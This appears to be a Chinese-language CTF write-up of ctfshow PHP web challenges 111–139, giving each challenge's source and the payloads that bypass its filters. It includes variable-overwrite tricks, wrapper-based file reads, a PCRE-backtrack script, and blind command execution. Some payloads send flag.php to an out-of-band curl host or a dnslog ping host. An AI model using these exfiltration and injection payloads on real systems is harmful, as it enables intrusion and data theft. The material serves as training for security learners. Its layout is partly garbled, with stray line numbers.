1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 <?php
$dir = new DirectoryIterator ( dirname ( __FILE__ ));
foreach ( $dir as $fileinfo ) {
echo $fileinfo ;
}
?>
//这里_FILE_是可以写点'.'和绝对路径的,但是这题都过滤了
```
以上例程的输出类似于:
``` php
.
..
apple . jpg
banana . jpg
index . php
pear . jpg
```
这里就又要考虑怎么获取目录路径,只能找一个方法,如:**getcwd**
**Example #1 \**getcwd()\** 例子**
``` php
<?php
// current directory
echo getcwd () . " \n " ;
chdir ( 'cvs' );
// current directory
echo getcwd () . " \n " ;
?>
```
以上例程的输出类似于:
``` php
/home/didou
/home/didou/cvs
```
到这里本以为能有结果了,但是情况还是不对。
payload:
``` php
?v1=DirectoryIterator & v2=getcwd
```
echo触发之后只返回了一个当前目录的最顶层文件:
![image-20221117211200605](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202211222153581.png)
这里的..是上级目录的意思,又死路了。我还是很疑惑为什么,后来仔细去看了这个类的toString的解释:
**Get the file name of the current DirectoryIterator item.**
应该就是返回最顶层文件的意思……
看官方解,后来是用了他的继承类,也就是一开始的FilesystemIterator迭代器:
``` php
?v1=FilesystemIterator & v2=getcwd
```
![image-20221117211923216](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202211222153143.png)
得到flag文件。但是这里有个问题,因为这里的文件排序是按首字母排序的,所以我们能凑巧得到这个flag,但是下一次狗出题人放一个空文件名字为a呢?能力有限,只能保留疑问了。
``` php
flag:ctfshow{d32cd216-fbde- 4 d30-a11f- 08 a92d3f33c4}
```
### web111 (全局变量+变量覆盖)
``` php
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
highlight_file ( __FILE__ );
error_reporting ( 0 );
include ( "flag.php" );
function getFlag ( & $v1 , & $v2 ){
eval ( "$ $v1 = &$ $v2 ;" );
var_dump ( $$v1 );
}
if ( isset ( $_GET [ 'v1' ]) && isset ( $_GET [ 'v2' ])){
$v1 = $_GET [ 'v1' ];
$v2 = $_GET [ 'v2' ];
if ( preg_match ( '/ \~ | | \` | \! | \@ | \# | \\$ | \% | \^ | \& | \* | \( | \) | \_ | \- | \+ | \= | \{ | \[ | \; | \: | \" | \' | \, | \. | \? | \\\\ | \/ |[0-9]| \< | \> /' , $v1 )){
die ( "error v1" );
}
if ( preg_match ( '/ \~ | | \` | \! | \@ | \# | \\$ | \% | \^ | \& | \* | \( | \) | \_ | \- | \+ | \= | \{ | \[ | \; | \: | \" | \' | \, | \. | \? | \\\\ | \/ |[0-9]| \< | \> /' , $v2 )){
die ( "error v2" );
}
if ( preg_match ( '/ctfshow/' , $v1 )){
getFlag ( $v1 , $v2 );
}
}
?>
```
审查代码, $v1肯定是工具参数,用来给我们得到flag的,我们要考虑的是$v2怎么构造。再看双 $ $,肯定又是变量覆盖了,也就是说我们要用$v1经过覆盖来var_dump,尝试:
``` php
?v1=ctfshow & v2=flag
```
![image-20221117214101776](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202211222153726.png)
这里可能是flag这个变量不能被访问到,是一个变量作用域的问题。可以尝试用全局变量[ $GLOBALS ](https://www.php.net/manual/zh/reserved.variables.globals.php)
> $GLOBALS — 引用全局作用域中可用的全部变量
>
> **注意**: **变量可用性**
>
> 与所有其他[超全局变量](https://www.php.net/manual/zh/language.variables.superglobals.php)不同, $GLOBALS 在PHP中总是可用的。
payload:
``` php
?v1=ctfshow & v2=GLOBALS
```
![image-20221117214447163](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202211222154938.png)
这里有嵌套输出,可能是文件里面本身脚本是这样写的。
### web112 (filter读取)
``` php
<?php
# -*- coding: utf-8 -*-
# @Author: Firebasky
highlight_file ( __FILE__ );
error_reporting ( 0 );
function filter ( $file ){
if ( preg_match ( '/ \.\.\/ |http|https|data|input|rot13|base64|string/i' , $file )){
die ( "hacker!" );
} else {
return $file ;
}
}
$file = $_GET [ 'file' ];
if (! is_file ( $file )){
highlight_file ( filter ( $file ));
} else {
echo "hacker!" ;
}
```
function名字已经提示方法了,很简单了
这里要注意的就是这个is_file函数。自php5起开始支持伪协议封装。本地测试可以知道,伪协议是能让返回值为false的,也就是说包装器伪协议能过这个函数。但是不影响file_get_contents和highlight_file
payload:
``` php
?file=php: //filter/read/resource=flag.php
```
flag:
``` php
ctfshow{f3d7d20f-c91e- 4 ada-a334- 79 cb75f08673}
```
### web113 (zlib读取)
``` php
<?php
# -*- coding: utf-8 -*-
# @Author: Firebasky
highlight_file ( __FILE__ );
error_reporting ( 0 );
function filter ( $file ){
if ( preg_match ( '/filter| \.\.\/ |http|https|data|data|rot13|base64|string/i' , $file )){
die ( 'hacker!' );
} else {
return $file ;
}
}
$file = $_GET [ 'file' ];
if (! is_file ( $file )){
highlight_file ( filter ( $file ));
} else {
echo "hacker!" ;
}
```
这里把filter给禁了,只能查找别的可用伪协议:
![image-20221118173808186](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202211222154166.png)
测试之后发现zlib应该是可行的,按照官方文档的例子payload可以这样写:
``` php
?file=compress . zlib: //flag.php
```
得到flag:
``` php
ctfshow{f2d577e1- 7198 - 4 b27- 9082 - 5 ca635f9e067}
```
这里提示是一个目录溢出,是一个扩展的用法。
### web114 (filter被放出)
``` php
<?php
# -*- coding: utf-8 -*-
# @Author: Firebasky
error_reporting ( 0 );
highlight_file ( __FILE__ );
function filter ( $file ){
if ( preg_match ( '/compress|root|zip|convert| \.\.\/ |http|https|data|data|rot13|base64|string/i' , $file )){
die ( 'hacker!' );
} else {
return $file ;
}
}
$file = $_GET [ 'file' ];
echo "师傅们居然tql都是非预期 哼!" ;
if (! is_file ( $file )){
highlight_file ( filter ( $file ));
} else {
echo "hacker!" ;
} 师傅们居然tql都是非预期 哼!
```
这里将zlib用法给ban了,也不能用glob,因为highlight_file不能对数组进行高亮。但是仔细审查会发现这里将filter给放出来了???
payload:
``` php
?file=php: //filter/resource=flag.php
```
flag:
``` php
ctfshow{ 1 cd0470b-b682- 4 d83- 98 c3-f6628a41f994}
```
### web115 (%0c+不全等和不等的理解)
``` php
<?php
# -*- coding: utf-8 -*-
# @Author: Firebasky
include ( 'flag.php' );
highlight_file ( __FILE__ );
error_reporting ( 0 );
function filter ( $num ){
$num = str_replace ( "0x" , "1" , $num );
$num = str_replace ( "0" , "1" , $num );
$num = str_replace ( "." , "1" , $num );
$num = str_replace ( "e" , "1" , $num );
$num = str_replace ( "+" , "1" , $num );
return $num ;
}
//az
$num = $_GET [ 'num' ];
if ( is_numeric ( $num ) and $num !== '36' and trim ( $num )!== '36' and filter ( $num )== '36' ){
if ( $num == '36' ){
echo $flag ;
} else {
echo "hacker!!" ;
}
} else {
echo "hacker!!!" ;
} hacker!!!
```
谷歌浏览器最初看这个并没有az之后的内容,换个浏览器才有下面得if那些,导致我很是疑惑。
确实老是忘记str_replace到底哪个参数是干嘛的:
``` php
str_replace (find,replace, string ,count)
//find是要查找的值
//replace是查找到后替换find的值
//string是被搜索的字符串
//count可选,对替换数进行计数
//返回值是带有替换值的字符串或数组
trim 去除首尾空白字符,去除规则:
这里 %0c(换页)是没有包含在内的,也就是说 %0c 是可以用的。重点就是第四个 filter 函数和第二级的 if 了。
本地可以截取代码进行多次尝试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function filter ( $num ){
$num = str_replace ( "0x" , "1" , $num );
$num = str_replace ( "0" , "1" , $num );
$num = str_replace ( "." , "1" , $num );
$num = str_replace ( "e" , "1" , $num );
$num = str_replace ( "+" , "1" , $num );
return $num ;
}
$num = '%0c36' ;
if ( is_numeric ( $num ) and $num !== '36' and trim ( $num )!== '36' and filter ( $num )== '36' ){
if ( $num == '36' ){
echo "you did it!" ;
} else {
echo "hacker!!" ;
}
} else {
echo "hacker!!!" ;
}
注意这里的两个看起来很冲突的比较:
and $num !== '36' 和if ( $num == '36' )
通过查官方文档,注意!== 是不全等,!= 是不等,在比较时有什么区别呢?
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。此规则也适用于 switch 语句。当用 === 或!== 进行比较时则不进行类型转换,因为此时类型和数值都要比对。
所以这里的不全等比对我们的 %0c36 的时候,即使字符串中有数字,也不会进行类型转换成数字 进行比较,所以会为 true;而进行等于 == 比较时,会将其转转成数字 ,于是也会为 true
所以就此四层过滤突破得到 flag:
ctfshow{ 5 bda924d- 4602 - 470 a-bb48- 4 cc7d0d24c67}
web123 (php 变量名理解构造)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php
# -*- coding: utf-8 -*-
# @Author: Firebasky
error_reporting ( 0 );
highlight_file ( __FILE__ );
include ( "flag.php" );
$a = $_SERVER [ 'argv' ];
$c = $_POST [ 'fun' ];
if ( isset ( $_POST [ 'CTF_SHOW' ])&& isset ( $_POST [ 'CTF_SHOW.COM' ])&&! isset ( $_GET [ 'fl0g' ])){
if (! preg_match ( "/ \\\\ |\/|\~|\`|\!|\@|\#|\%| \^ |\ * |\-|\ + |\=| \{ | \} | \" |\'|\,| \. |\;|\?/" , $c )&& $c <= 18 ){
eval ( " $c " . ";" );
if ( $fl0g === "flag_give_me" ){
echo $flag ;
}
}
}
?>
在 php 中变量名只有数字字母下划线 ,被 get 或者 post 传入的变量名,如果含有
1. 空格 " "
2. 加号 "+"
3. 中括号 "[ ]"
会被转化为下划线_,所以按理来说我们构造不出 CTF_SHOW.COM 这个变量 (因为含有.),但 php 中有个特性就是如果传入 [,它被转化为之后,后面的字符就会被保留下来不会被替换,也就是只替换一次,类似于双写绕过那种方法。
所以,payload:
post:CTF_SHOW= 1 & CTF[SHOW . COM= 2 & fun= echo $flag
web125(变量覆盖 /highlight_file)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php
# -*- coding: utf-8 -*-
# @Author: Firebasky
error_reporting ( 0 );
highlight_file ( __FILE__ );
include ( "flag.php" );
$a = $_SERVER [ 'argv' ];
$c = $_POST [ 'fun' ];
if ( isset ( $_POST [ 'CTF_SHOW' ])&& isset ( $_POST [ 'CTF_SHOW.COM' ])&&! isset ( $_GET [ 'fl0g' ])){
if (! preg_match ( "/ \\\\ |\/|\~|\`|\!|\@|\#|\%| \^ |\ * |\-|\ + |\=| \{ | \} | \" |\'|\,| \. |\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c )&& $c <= 16 ){
eval ( " $c " . ";" );
if ( $fl0g === "flag_give_me" ){
echo $flag ;
}
}
}
?>
var_export () 类似 var_dump,用于输出或返回一个变量,以字符串形式表示,不同的是其返回的是一个合法的 PHP 代码(测试发现 var_export 并不能正常得到回显)。
或者使用变量覆盖:
post:CTF_SHOW= 1 & CTF[SHOW . COM= 2 & fun= extract ( $_POST ) & fl0g=flag_give_me
或者 highlight_file:
GET:? 1 =flag . php POST:CTF_SHOW= & CTF[SHOW . COM= & fun= highlight_file ( $_GET [ 1 ])
web126($_SERVER ['argv'] 利用 变量覆盖)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php
# -*- coding: utf-8 -*-
# @Author: Firebasky
error_reporting ( 0 );
highlight_file ( __FILE__ );
include ( "flag.php" );
$a = $_SERVER [ 'argv' ];
$c = $_POST [ 'fun' ];
if ( isset ( $_POST [ 'CTF_SHOW' ])&& isset ( $_POST [ 'CTF_SHOW.COM' ])&&! isset ( $_GET [ 'fl0g' ])){
if (! preg_match ( "/ \\\\ |\/|\~|\`|\!|\@|\#|\%| \^ |\ * |\-|\ + |\=| \{ | \} | \" |\'|\,| \. |\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c ) && strlen ( $c )<= 16 ){
eval ( " $c " . ";" );
if ( $fl0g === "flag_give_me" ){
echo $flag ;
}
}
}
首先构造两个 CTF_SHOW CTF_SHOW.COM
post:CTF_SHOW= 1 & CTF[SHOW . COM= 2 & fun=
多次尝试 rce 无果,只能尝试变量覆盖。
parse_str:字符串解析至变量
post:CTF_SHOW= 1 & CTF[SHOW . COM= 2 & fun= parse_str ( $a [ 1 ])
get:?a= 1 +fl0g=flag_give_me
+ 号会被解析为空格。由于a = a= a = _SERVER['argv']
$_SERVER [ 'argv' ] #传递给该脚本的参数。
# 第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
具体可以参考:【php - 零碎知识】$_SERVER ['argv']
例如:
# 设$a = $_SERVER['argv']; 脚本名为AK 传参有:11=2 33
# 则有:
array ( 3 ){
[ 0 ]=> string ( 2 ) "AK"
[ 1 ]=> string ( 4 ) "11=2"
[ 2 ]=> string ( 2 ) "22"
}
# 所以参数中,若遇到空格则会截断,识别空格后为另一个参数
提示中还有另外一种写法,但是能力有限看不懂:
GET:? $fl0g =flag_give_me
POST:CTF_SHOW= & CTF[SHOW . COM= & fun= assert ( $a [ 0 ])
web127(变量名构造 +$_SERVER ['QUERY_STRING'] 理解)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php
# -*- coding: utf-8 -*-
# @Author: h1xa
error_reporting ( 0 );
include ( "flag.php" );
highlight_file ( __FILE__ );
$ctf_show = md5 ( $flag );
$url = $_SERVER [ 'QUERY_STRING' ];
//特殊字符检测
function waf ( $url ){
if ( preg_match ( '/ \` | \~ | \! | \@ | \# | \^ | \* | \( | \) | \\$ | \_ | \- | \+ | \{ | \; | \: | \[ | \] | \} | \' | \" | \< | \, | \> | \. | \\\ | \/ /' , $url )){
return true ;
} else {
return false ;
}
}
if ( waf ( $url )){
die ( "嗯哼?" );
} else {
extract ( $_GET );
}
if ( $ctf_show === 'ilove36d' ){
echo $flag ;
}
关于 $SERVER ['QUERY_STRING'] 可以参考这篇文章:
PHP 中 $_SERVER ["QUERY_STRING"] 函数
基本上,这个变量得到的是 get 传参的?后面的字符串。
因为不被过滤检测的话会进行变量覆盖,那么我们只需要构造好语句即可:
空格会被替换成下划线,从而成功构造出变量名得到 flag。
web128(gettext 别名 + get_defined_vars)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php
# -*- coding: utf-8 -*-
# @Author: h1xa
error_reporting ( 0 );
include ( "flag.php" );
highlight_file ( __FILE__ );
$f1 = $_GET [ 'f1' ];
$f2 = $_GET [ 'f2' ];
if ( check ( $f1 )){
var_dump ( call_user_func ( call_user_func ( $f1 , $f2 )));
} else {
echo "嗯哼?" ;
}
function check ( $str ){
return ! preg_match ( '/[0-9]|[a-z]/i' , $str );
} NULL
这里要使 check () 为真,就不能传 f1 为数字或者字母。这里可以用 gettext 的别名绕过:
别名是下划线,也就是说我们能构造 f1 了:
由于 include 了 flag.php,那么 flag 的变量应该是注册了的,可以直接拿全部变量:
?f1=_ & f2=get_defined_vars
web129(目录穿越)<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
error_reporting ( 0 );
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'f' ])){
$f = $_GET [ 'f' ];
if ( stripos ( $f , 'ctfshow' )> 0 ){
echo readfile ( $f );
}
}
stripos — 查找字符串首次出现的位置(不区分大小写)
这道题最初也不会,了解之后才知道是目录穿越用法。由于我们要使得 if 成立,则 ctfshow 被查到的位置不能为 0:
?f=/ctfshow/ .. / .. / .. / .. / var /www/html/flag . php
# var/www/html/是默认目录
# ../可以写多次,穿到根目录之后再写也还是根目录,可以多写几次
传参就能拿到 flag 了。
web130 (/is 模式匹配 + 强等于)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php
# -*- coding: utf-8 -*-
# @Author: h1xa
error_reporting ( 0 );
highlight_file ( __FILE__ );
include ( "flag.php" );
if ( isset ( $_POST [ 'f' ])){
$f = $_POST [ 'f' ];
if ( preg_match ( '/. + ?ctfshow/is' , $f )){
die ( 'bye!' );
}
if ( stripos ( $f , 'ctfshow' ) === FALSE ){
die ( 'bye!!' );
}
echo $flag ;
}
-g 是全局搜索
-i 是忽略大小写
-m 是多行匹配
-s 包括换行符
转图来说是这个匹配模式:
也就是说 ctfshow 前面有字符就会被匹配,且包括换行符,然后第二个 if 判断注意的是,强等于 false。由于我们这个 stripos 是返回数字类型,跟这个 bool 型的肯定是不会匹配上的,所以:
web131(pcre 次数限制溢出)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php
# -*- coding: utf-8 -*-
# @Author: h1xa
error_reporting ( 0 );
highlight_file ( __FILE__ );
include ( "flag.php" );
if ( isset ( $_POST [ 'f' ])){
$f = ( String ) $_POST [ 'f' ];
if ( preg_match ( '/. + ?ctfshow/is' , $f )){
die ( 'bye!' );
}
if ( stripos ( $f , '36Dctfshow' ) === FALSE ){
die ( 'bye!!' );
}
echo $flag ;
}
这里正则匹配中.+?ctfshow 可以匹配前面 n 多个字符,只能考虑 pcre 次数溢出
回溯次数超过最大限制就可以使 preg_match () 函数返回 false, 从而绕过限制,中文的回溯次数在 100 万次就会崩溃,这个回溯保护使 PHP 为了防止关于正则表达式的 DDOS
上一把梭脚本:
import requests
from io import BytesIO
data = BytesIO( b 'b' * 1000000 + b 'b' + b '36Dctfshow' )
D = { 'f' : data} # f为post请求传参点
url2 = 'http://10434e7c-8bf3-4c64-9225-778256ae206b.challenge.ctf.show'
res = requests.post( url =url2, data =D)
print (res.text)
得到 flag:
ctfshow {d6ed0e5d-c797-4409-9f5b-0b3d3081f517}
web132(与、或判断)一个前端页面,常规查看 robots.txt,访问 admin 页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php
# -*- coding: utf-8 -*-
# @Author: h1xa
#error_reporting(0);
include ( "flag.php" );
highlight_file ( __FILE__ );
if ( isset ( $_GET [ 'username' ]) && isset ( $_GET [ 'password' ]) && isset ( $_GET [ 'code' ])){
$username = ( String ) $_GET [ 'username' ];
$password = ( String ) $_GET [ 'password' ];
$code = ( String ) $_GET [ 'code' ];
if ( $code === mt_rand ( 1 , 0x36D ) && $password === $flag || $username === "admin" ){
if ( $code == 'admin' ){
echo $flag ;
}
}
}
mt_rand 函数返回值是 1 到 0x36D 之间的一个随机数。
这里要注意的是判断顺序,isset 的判断很好过,主要是看第二个 if 中的 && 和 ||
很容易知道,在或 || 判断中,只要有一个为真,那么整个就为真了。于是这里只要 $username==="admin" 成立即可。
于是有:
? code=admin&password=a&username=admin
得到 flag。
ctfshow{954cd7b7-8ead-465b-af19-f9341ece7d17}
***web133(无回显 RCE)<?php
# -*- coding: utf-8 -*-
# @Author: Firebasky
error_reporting ( 0 );
highlight_file ( __FILE__ );
//flag.php
if ( $F = @ $_GET [ 'F' ]){
if (! preg_match ( '/system|nc|wget|exec|passthru|netcat/i' , $F )){
eval ( substr ( $F , 0 , 6 ));
} else {
die ( "6个字母都还不够呀?!" );
}
}
substr 是返回字符串的一部分,substr (string,start,length)
题中过滤了很多常见操作,但还是可以使用反引号``进行操作,它是 shell_exec 的简写。
这里可控变量只有F,且考虑 substr 只会返回前 6 个字符,这里可以考虑传入$F进行 rce
首先要明白传入 $F 的作用:
get传参:
?F= ` $F ` ; sleep 3
注意分号和sleep中间的空格,这样凑起来刚好有6个字符。这样会得到:
eval ( ` $F ; ` )
因为substr会返回到空格为止的前6个字符
这时再将 $F的内容代入进来再看就是:
eval ( `` $F `; sleep 3; ` )
而反引号这里会被视作无效命令不会执行,从而执行后面的sleep命令。
无回显 RCE 可以参考这位师傅的文章,方法很多也比较详细。
浅谈 PHP 无回显命令执行的利用
本题尝试直接写文件进行一个读取,结果发现是没有写权限的。自己试了的几种方法,如下。
1. 执行命令(需要具有写的权限)通过执行命令,直接将 php 文件写入到在浏览器可直接读取的文件类型中 (如 txt 文件),然后访问 txt 文件即可得到 php 文件内容:
(1)使用 > 或 >>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 cat flag.php>flag.txt
cat flag.php>>flag.txt
```
![image-20221226144005462](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202212261440538.png)
![image-20221226143931013](C:/Users/LZJ/AppData/Roaming/Typora/typora-user-images/image-20221226143931013.png)
(当然本题没有出现回显,也就是没有写的权限了大概)
(2)使用cp命令:
```python
cp flag.php flag.txt
```
(3)使用mv命令:
```
mv flag.php flag.txt
```
#### 2.curl上传文件读取源码(目标服务器curl命令可用)
[curl](https://so.csdn.net/so/search?q=cURL&spm=1001.2101.3001.7020)是用于使用各种协议传输数据的库和命令行工具,并且是用于数据渗透的非常有用的工具。 如果易受攻击的服务器具有cURL,我们可以使用它来将文件发送到恶意Web服务器或使用其他协议(例如FTP / SCP / TFTP / TELNET等)传输文件。
语法:
```php
curl [option] [url]
```
使用命令如:
```php
curl http://curl.haxx.se
```
这是最简单的使用方法。用这个命令获得了http://curl.haxx.se指向的页面,同样,如果这里的URL指向的是一个文件或者图片等都可以直接下载到本地。
[curl用法指南](http://www.ruanyifeng.com/blog/2019/09/curl-reference.html)
回到本题,首先:
(1)**获取`Collaborator Client`分配给Burp的链接**
```
打开Burp主界面 -> 菜单(Burp)-> Collaboraor Client -> 点击Copy to Clipboard
```
![image-20221226144541544](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202212261445621.png)
![image-20221226144608106](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202212261446182.png)
Copy会得到:
```php
r3vbxthjscn1uoqkeg31fyl4evkm8b.oastify.com
```
(2)拼接payload并在命令执行处提交:
```php
?F=`$F` ;curl -X POST -F xx=@flag.php http://r3vbxthjscn1uoqkeg31fyl4evkm8b.oastify.com
```
(3)查看Burp的Collaborator client接收的数据:
![image-20221226145324452](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202212261453542.png)
得到flag:
```php
ctfshow{64b54b3c-f17b-48c4-a7ee-96a900e16444}
```
#### 3.通过dnslog带出数据
注意:
(1)命令执行时要避免空格,空格会导致空格后面的命令执行不到;
(2)将读取的文件命令用反引号``包含起来;
(3)拼接的域名有长度限制。
为什么可以这么做?
如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现)
(1)首先去`dnslog.cn`拿一个域名
![image-20221226154420322](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202212261544391.png)
```
soizc6.dnslog.cn
```
(2)如果有域名解析请求就会被记录。
利用命令:
```
ping `命令`.域名
```
构造命令:
```php
#payload:
?F=`$F` ;ping `cat flag.php|base64`.soizc6.dnslog.cn -c 1
```
上述操作之后利用dnslog查看文件内容发现是并没有任何东西的,因为东西过多,而二级域名是有限制的。修改如下:
```php
?F=`$F` ;ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.soizc6.dnslog.cn -c 1
# grep进行匹配,
```
![image-20221226154440954](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202212261544031.png)
```
flagctfshowc8a020ae298a47aab147add27b0cc2a1.soizc6.dnslog.cn
```
去掉不需要的部分,再根据uuid的格式进行补全即可。
### web134(变量覆盖)
```php
<?php
# -*- coding: utf-8 -*-
# @Author: Firebasky
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
```
这里的parse_str是将字符串解析到变量中,是一个数组的形式,例如:
![image-20221226162310346](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202212261623463.png)
而extract则是从数组中拿到对应变量对应值进行一个创建,
![image-20221226162434905](https://gitee.com/CSJ021005/f0ur_lin_-picgo/raw/master/202212261624019.png)
很巧合不是么,到这思路就很清晰了。
由于$_SERVER['QUERY_STRING']会得到我们的查询语句,那我们直接在查询语句中写出对应的数组并赋值,让extract函数进行覆盖。数组键名为key1或key2,数组名则为\_POST:
```php
?_POST[key1]=36d&_POST[key2]=36d
```
查看源代码即可拿到flag。
### web135(外带外带)
```php
<?php
# -*- coding: utf-8 -*-
# @Author: Firebasky
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
```
这里依旧要外带数据出来,而且这题我们是可以写文件的,那么可以直接用cp(复制)或者mv(移动)等命令进行一个外带,然后访问即可(当然之前的dnslog那种外带也是可以的,只不过略麻烦)。
```php
?F=`$F` ;cp flag.php 1.txt
?F=`$F` ;mv flag.php 1.txt
# nl 命令和 cat 很像,但是 nl 会带行号
?F=`$F` ;nl flag.php>1.txt
# uniq 命令也可以
?F=`$F` ;uniq flag.php>1.txt
```
更多命令不再赘述。
### web136(tee命令)
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
```php
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?
这里可用 tee 命令进行一个试探。
?c=ls /|tee 1
# 下到根目录并将其保存为 1 文件
得到疑似 flag 文件:f149_15_h3r3
同理我们得到这个疑似文件:
?c=cat /f149_15_h3r3|tee 2
flag:
ctfshow{14cf30b9-b627-4b34-8d6d-c8288f88e5c4}
另外还有一个比较骚的就是 —— 直接改题 :
1. 改 die 为 echo,就算被匹配也不会中断执行
?c=ls |xargs sed -i 's/die/echo/'
2. 改 exec 为 system,随便执行
?c=ls |xargs sed -i 's/exec/system/'
这样就可以说是无 waf 了直接。
web137(静态方法调用)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php
# -*- coding: utf-8 -*-
# @Author: h1xa
error_reporting ( 0 );
highlight_file ( __FILE__ );
class ctfshow
{
function __wakeup (){
die ( "private class" );
}
static function getFlag (){
echo file_get_contents ( "flag.php" );
}
}
call_user_func ( $_POST [ 'ctfshow' ]);
php 调用类的静态方法是不需要实例化的,直接用::进行调用:
# POST:
ctfshow= ctfshow ::getFlag
如果是非静态方法,写法应该如下:
call_user_func_array ( array ( new ctfshow (), 'getFlag' ), args)
*web138(除::之外的静态类方法调用)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php
error_reporting ( 0 );
highlight_file ( __FILE__ );
class ctfshow
{
function __wakeup (){
die ( "private class" );
}
static function getFlag (){
echo file_get_contents ( "flag.php" );
}
}
if ( strripos ( $_POST [ 'ctfshow' ], ":" )>- 1 ){
die ( "private function" );
}
call_user_func ( $_POST [ 'ctfshow' ]);
本题和上题的区别在于冒号被过滤,不能出现冒号。查询官方文档:
可以知道,关于类中静态方法的调用是不止一种办法的。
# eg:
call_user_func ( array ( __NAMESPACE__ . '\Foo' , 'test' ));
call_user_func ( array ( 'ctfshow' , 'getFlag' ));
# POST:
ctfshow[]=ctfshow & ctfshow[]=getFlag
# 第一个ctfshow是指定类名,第二个指定类中方法名
***web139(命令盲注)<?php
error_reporting ( 0 );
function check ( $x ){
